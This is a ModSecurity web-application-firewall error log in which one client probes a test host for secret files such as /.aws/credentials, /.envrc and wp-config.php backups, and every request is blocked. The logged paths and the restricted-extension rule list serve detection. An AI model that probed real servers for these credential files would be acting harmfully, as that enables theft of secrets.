[Tue Jan 21 15:18:08.296954 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "Z4-soJqmj11ddtqosUH5fAAAAAM"]
[Tue Jan 21 15:18:08.297473 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "Z4-soJqmj11ddtqosUH5fAAAAAM"]
[Tue Jan 21 15:18:10.532989 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs"] [unique_id "Z4-sotKd0J471eFma_TqIAAAAAE"]
[Tue Jan 21 15:18:10.533341 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs"] [unique_id "Z4-sotKd0J471eFma_TqIAAAAAE"]
[Tue Jan 21 15:18:10.533737 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs"] [unique_id "Z4-sotKd0J471eFma_TqIAAAAAE"]
[Tue Jan 21 15:18:10.813977 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs"] [unique_id "Z4-sopqmj11ddtqosUH5fQAAAAM"]
[Tue Jan 21 15:18:10.814631 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs"] [unique_id "Z4-sopqmj11ddtqosUH5fQAAAAM"]
[Tue Jan 21 15:18:10.815375 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs"] [unique_id "Z4-sopqmj11ddtqosUH5fQAAAAM"]
[Tue Jan 21 15:19:43.236277 2025] [:error] [pid 621467] [client 193.41.206.36:37924] [client 193.41.206.36] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4-s_5I8RB7_o08OfB6JEAAAAAk"]
[Tue Jan 21 15:19:43.236753 2025] [:error] [pid 621467] [client 193.41.206.36:37924] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4-s_5I8RB7_o08OfB6JEAAAAAk"]
[Tue Jan 21 15:19:43.237310 2025] [:error] [pid 621467] [client 193.41.206.36:37924] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4-s_5I8RB7_o08OfB6JEAAAAAk"]
[Tue Jan 21 15:19:43.327442 2025] [:error] [pid 621512] [client 193.41.206.36:37926] [client 193.41.206.36] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4-s_xX999c-l2awnNPVcwAAAAI"]
[Tue Jan 21 15:19:43.327945 2025] [:error] [pid 621512] [client 193.41.206.36:37926] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4-s_xX999c-l2awnNPVcwAAAAI"]
[Tue Jan 21 15:19:43.328408 2025] [:error] [pid 621512] [client 193.41.206.36:37926] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4-s_xX999c-l2awnNPVcwAAAAI"]
[Tue Jan 21 15:20:23.092825 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ6UWvTqJytu-P8cD8gAAAA0"]
[Tue Jan 21 15:20:23.093195 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ6UWvTqJytu-P8cD8gAAAA0"]
[Tue Jan 21 15:20:23.093744 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ6UWvTqJytu-P8cD8gAAAA0"]
[Tue Jan 21 15:20:23.094218 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ6UWvTqJytu-P8cD8gAAAA0"]
[Tue Jan 21 15:20:23.390009 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ3zZkUI2sFKnmMyLVgAAAAE"]
[Tue Jan 21 15:20:23.390422 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ3zZkUI2sFKnmMyLVgAAAAE"]
[Tue Jan 21 15:20:23.390892 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ3zZkUI2sFKnmMyLVgAAAAE"]
[Tue Jan 21 15:20:23.391367 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "Z4-tJ3zZkUI2sFKnmMyLVgAAAAE"]
[Tue Jan 21 15:20:25.961966 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4-tKaUWvTqJytu-P8cD8wAAAA0"]
[Tue Jan 21 15:20:25.962518 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4-tKaUWvTqJytu-P8cD8wAAAA0"]
[Tue Jan 21 15:20:25.962970 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4-tKaUWvTqJytu-P8cD8wAAAA0"]
[Tue Jan 21 15:20:26.153307 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4-tKnzZkUI2sFKnmMyLVwAAAAE"]
[Tue Jan 21 15:20:26.153700 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4-tKnzZkUI2sFKnmMyLVwAAAAE"]
[Tue Jan 21 15:20:26.154140 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4-tKnzZkUI2sFKnmMyLVwAAAAE"]
[Tue Jan 21 15:20:28.682185 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "Z4-tLKUWvTqJytu-P8cD9AAAAA0"]
[Tue Jan 21 15:20:28.682810 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "Z4-tLKUWvTqJytu-P8cD9AAAAA0"]
[Tue Jan 21 15:20:28.683294 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "Z4-tLKUWvTqJytu-P8cD9AAAAA0"]
[Tue Jan 21 15:20:29.093187 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "Z4-tLXzZkUI2sFKnmMyLWAAAAAE"]
[Tue Jan 21 15:20:29.093749 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "Z4-tLXzZkUI2sFKnmMyLWAAAAAE"]
[Tue Jan 21 15:20:29.094207 2025] [:error] [pid 621571] [client 193.41.206.36:53488] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "Z4-tLXzZkUI2sFKnmMyLWAAAAAE"]
[Tue Jan 21 15:20:31.506578 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "Z4-tL6UWvTqJytu-P8cD9QAAAA0"]
[Tue Jan 21 15:20:31.507069 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "Z4-tL6UWvTqJytu-P8cD9QAAAA0"]
